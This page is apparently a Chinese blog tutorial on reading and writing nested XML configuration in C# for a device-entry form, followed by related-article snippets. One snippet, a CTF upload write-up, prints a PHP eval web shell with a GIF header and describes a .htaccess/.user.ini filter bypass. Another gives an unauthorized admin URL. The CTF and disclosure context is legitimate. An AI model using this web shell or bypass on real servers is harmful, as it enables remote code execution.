c# xml 参数读取的复杂使用

news2024/11/24 3:08:03

完整使用2

生产厂家里面包含很多规格型号,一个规格型号里面包含很多出厂序列号,点击下一步如果检测到填充的和保存的不一样 就新增一条(如检测到生产厂家相同,但是规格型号不同,就新增一组规格型号)。
界面一:新增界面
在这里插入图片描述
界面2 删除界面
在这里插入图片描述

界面一:新增界面

load

其中 因为直接使用了 节点名字作为保存,而节点名字是不能出现数字字符开头的,因此统一在各节点之前加“一”,显示的时候再给他去掉

        private void DeviceEntering_Load(object sender, EventArgs e)
        {
    
        //刷新
            intRefresh();
        }
        public static  List<string> changjia = new List<string>();
        public static  List<string> xinghao  = new List<string>();
        public static  List<string> xvlie    = new List<string>();
        public static List<string> testname = new List<string>();
        public static List<string> reportname = new List<string>();
        static string path = Directory.GetCurrentDirectory() + "\\Config\\测试参数.xml";
        public static string pathxml = @"C:\SEET\test.xml";
        public static string pathname = @"C:\SEET\testName.xml";
        public static string pathreport = @"C:\SEET\testReport.xml";
        public static string pathmulu = @"C:\SEET\";
      public static void intRefresh ()
        {
   
            //该方法是判断该路径下有没有该文件夹,注意并不能判断某个文件是否存在
            if (!Directory.Exists(pathmulu))
            {
   
                DirectoryInfo directoryInfo = new DirectoryInfo(pathmulu);
                directoryInfo.Create();
            }
            //该方法是判断该路径下有没有该文件,注意一定要加上文件后缀名
            if (!File.Exists(pathxml))
            {
   
                CreateXml();
            }
            if (!File.Exists(pathname))
            {
   
                XmlDocument Doc = new XmlDocument();
                XmlDeclaration xnode = Doc.CreateXmlDeclaration("1.0", "UTF-8", "");
                Doc.AppendChild(xnode);

                XmlElement root = Doc.CreateElement("测试人员");
                Doc.AppendChild(root);

                XmlElement TestName = Doc.CreateElement("一测试员");
                root.AppendChild(TestName);
                TestName.InnerText = "张三";

                Doc.Save(pathname);
            }

            if (!File.Exists(pathreport))
            {
   
                XmlDocument Docc = new XmlDocument();
                XmlDeclaration xnode = Docc.CreateXmlDeclaration("1.0", "UTF-8", "");
                Docc.AppendChild(xnode);

                XmlElement root = Docc.CreateElement("报告保存");
                Docc.AppendChild(root);

                XmlElement TestName = Docc.CreateElement("气腹机测试报告模板-001.docx");
                root.AppendChild(TestName);
                TestName.InnerText = "张三";

                Docc.Save(pathreport);
            }


            //实例化一个xml操作对象
            XmlDocument xDoc = new XmlDocument();
            xDoc.Load(pathxml);
            XmlNode rNode = xDoc.SelectSingleNode("气腹机");//.SelectSingleNode:取到第一个和表达式匹配的节点
            XmlNodeList rlist = rNode.ChildNodes; //获取节点的所有子节点

                                                  // //取根结点
                                                  // var root = xmlDoc.DocumentElement;//取到根结点
                                                  取指定的单个结点
                                                  //XmlNode oldChild = xmlDoc.SelectSingleNode("BookStore/NewBook");
                                                  取指定的结点的集合
                                                  //XmlNodeList nodes = xmlDoc.SelectNodes("BookStore/NewBook");


            int i = 0, j = 0, k = 0;
            changjia.Clear();
            xinghao.Clear();
            xvlie.Clear();
            foreach (XmlNode r in rlist)
            {
   
                string name = r.Name;//获取节点的限定名称
                name = name.Substring(1, name.Length - 1);
                //changjia.Add(name);

                changjia.Add(name);
                log.SaveLog("节点:" + name.Substring(1, name.Length - 1));
                i++;
                XmlNodeList list2 = r.ChildNodes;
                foreach (XmlNode item in list2)
                {
   
                    string name2 = item.Name;
                    name2 = name2.Substring(1, name2.Length - 1);
                    if (name2.Equals("text"))
                    {
   
                        continue;
                    }
                    j++;
                    xinghao.Add(name + "*" + name2 + "*");
                    log.SaveLog("节点2:" + name2);

                    XmlNodeList list3 = item.ChildNodes;
                    foreach (XmlNode item2 in list3)
                    {
   
                        k++;
                        string name3 = item2.Name;
                        name3 = name3.Substring(1, name3.Length - 1);
                        if (name3.Equals("text"))
                        {
   
                            continue;
                        }
                        xvlie.Add(name + "*" + name2 + "*" + name3);
                        //uiComboBox3.Items.Add(name3);
                        log.SaveLog("节点3:" + name3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1092043.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

导入Maven项目遇到的一些问题及解决

开发工具是IDEA&#xff0c; 一个Maven项目初次导入IDEA中&#xff0c;需要注意的几件事&#xff1a; 设置项目的编码格式&#xff08;或者提前设置全局的编码格式&#xff09;&#xff0c;一般是UTF-8&#xff1b;检查JDK版本和编译级别&#xff1b;检查Maven的版本&#xf…

centos7下安装elasticsearch7.8.1并配置远程连接

1、下载安装包 sudo wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.8.1-linux-x86_64.tar.gz 2、解压 sudo tar -zxvf elasticsearch-7.8.1-linux-x86_64.tar.gz 3、添加用户并设置密码 sudo useradd es sudo passwd es # 设置密码 Lida15…

NewStarCTF2023week2-Upload again!

尝试传修改后缀的普通一句话木马&#xff0c;被检测 尝试传配置文件 .htaccess 和 .user.ini 两个都传成功了 接下来继续传入经过修改的木马 GIF89a <script language"php"> eval($_POST[cmd]); </script> 没有被检测&#xff0c;成功绕过 直接上蚁剑…

课题学习(八)----卡尔曼滤波动态求解倾角、方位角

一、 卡尔曼滤波 卡尔曼滤波的应用要求系统和底层过程的测量模型都是线性的。离散时间线性状态空间系统的描述为: x k Φ k , k − 1 x k − 1 G k − 1 w k − 1 x_k\Phi_{k,k-1}x_{k-1}G_{k-1}w_{k-1} xk​Φk,k−1​xk−1​Gk−1​wk−1​    式中 Φ k , k − 1 \Phi_{…

原创先锋后台管理平台未授权访问

漏洞描述 原创先锋后台管理平台存在未授权访问漏洞&#xff0c;攻击者通过漏洞可以任意接管账户权限 漏洞复现 访问未授权的url&#xff1a; /admin/admin/admin_list.html漏洞证明如下&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&#xff0…

智慧公厕云管理平台:公厕云大脑引领厕所革命未来之路

智慧公厕作为城市管理的重要组成部分&#xff0c;不仅为市民提供便利&#xff0c;更是城市形象的重要窗口。随着科技的发展&#xff0c;全域联网管理的智慧公厕云管理平台指挥大脑的建立&#xff0c;使得智慧公厕的跨区域、跨系统、跨业务、跨流程作业功能更加强大&#xff0c;…

Linux shell编程学习笔记12:布尔运算和逻辑运算

Linux Shell 脚本编程和其他编程语言一样&#xff0c;支持算数、关系、布尔、逻辑、字符串、文件测试等多种运算。前面几节我们陆续研究了 Linux shell编程 中的 字符串运算、算术运算和关系运算&#xff0c;今天我们来研究 Linux shell编程中的的布尔运算、逻辑运算。 一、…

COM编程入门Part Ⅱ - 深入理解COM服务器[译]

文章目录 1. 本文的目的 2. 介绍 3. 快速浏览COM服务器 4. 服务器生命周期管理 5. 实现接口&#xff0c;从IUnknown开始 6. CoCreateInstance()的内部 7. 注册COM服务器 8. 创建COM对象 - 类工厂 9. 示例自定义接口 10. 客户端使用我们的COM服务 11. 其他细节 本篇…

[入门一]C# webApi创建、与发布、部署、api调用

一.创建web api项目 1.1、项目创建 MVC架构的话&#xff0c;它会有view-model-control三层&#xff0c;在web api中它的前端和后端是分离的&#xff0c;所以只在项目中存在model-control两层 1.2、修改路由 打开App_Start文件夹下&#xff0c;WebApiConfig.cs ,修改路由&…

12.SpringBoot之RestTemplate的使用

SpringBoot之RestTemplate的使用 初识RestTemplate RestTemplate是Spring框架提供用于调用Rest接口的一个应用&#xff0c;它简化了与http服务通信方式。RestTemplate统一Restfull调用的标准&#xff0c;封装HTTP链接&#xff0c;只要需提供URL及返回值类型即可完成调用。相比…

小程序之基础入门(1)

⭐⭐ 小程序专栏&#xff1a;小程序开发专栏 ⭐⭐ 个人主页&#xff1a;个人主页 目录 一.前言 二.小程序简介 2.1 微信小程序的特点和优势&#xff1a; 三.小程序的安装与使用 五.小程序入门案例及目录结构 好啦&#xff01;&#xff01;今天的分享就到这啦&#xff01;…

多测师肖sir_高级金牌讲师_python之模块008

python之模块 一、模块的介绍 &#xff08;1&#xff09;python模块&#xff0c;是一个python文件&#xff0c;以一个.py文件&#xff0c;包含了python对象定义和pyhton语句 &#xff08;2&#xff09;python对象定义和python语句 &#xff08;3&#xff09;模块让你能够有逻辑…

微信浏览器大字体模式 按钮文字居中用line-height 显示异常

按钮文字居中用line-height 的css 在微信浏览器大字体模式&#xff0c;会导致显示错误。改成flex 居中就好了

R语言手动绘制NHANSE数据基线表并聊聊NHANSE数据制作亚组交互效应表的问题(P for interaction)

美国国家健康与营养调查&#xff08; NHANES, National Health and Nutrition Examination Survey&#xff09;是一项基于人群的横断面调查&#xff0c;旨在收集有关美国家庭人口健康和营养的信息。 地址为&#xff1a;https://wwwn.cdc.gov/nchs/nhanes/Default.aspx 在既往的…

精品Python基于django就业数据分析平台求职招聘应聘-爬虫可视化大屏

《[含文档PPT源码等]精品基于django就业数据分析平台-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程等&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;python 使用框架&#xff1a;Django 前端技术&#xff1a;JavaS…

常见锁的分类

入职体验&#xff1a; 今天运维岗位刚入职&#xff0c;但是目前还没有办理入职手续&#xff0c;但是领导发了一堆资料&#xff01;看了一下&#xff0c;非常多的新东西&#xff0c;只能说努力一把&#xff01;&#xff01;&#xff01; 一、锁的分类 1.1 可重入锁、不可重入锁…

DAE转换GLB格式

1、DAE模型介绍 DAEA&#xff08;Deep Attentive and Ensemble Autoencoder&#xff09;模型是一种用于无监督学习的深度学习模型&#xff0c;由华为公司提出。DAEA模型结合了自编码器和深度注意力机制&#xff0c;能够对高维数据进行降维和特征提取&#xff0c;并且在处理大规…

求三维坐标绕坐标轴旋转后的坐标值

目的 旋转矩阵 应用 沿单个坐标轴旋转 沿多个坐标系旋转 目的 由于其他文章原理介绍比较详细&#xff0c;但应用方面较少。本文直接介绍旋转矩阵的应用&#xff0c;条件为坐标系不变&#xff0c;求旋转后的三维坐标。本文方法较傻瓜式&#xff0c;需要自己进行测试以确认是…

Java-使用sqlSessionTemplate实现批量更新-模拟mybatis 动态sql

环境准备&#xff08;非核心方法&#xff09; 创建表 创建表的sql(下表是基于Oracle创建的) CREATE TABLE "SYSTEM"."STUDENT" ("ID" NUMBER(10, 0),"NAME" VARCHAR2(20 BYTE),"ADDRES" CLOB,PRIMARY KEY ( …

Studio One6.5全新版本更新功能详情介绍

Studio One是一款专业的音乐制作软件&#xff0c;由美国PreSonus公司开发。该软件提供了全面的音频编辑和混音功能&#xff0c;包括录制、编曲、合成、采样等多种工具&#xff0c;可用于制作各种类型的音乐&#xff0c;如流行音乐、电子音乐、摇滚乐等。 Studio One的主要特点…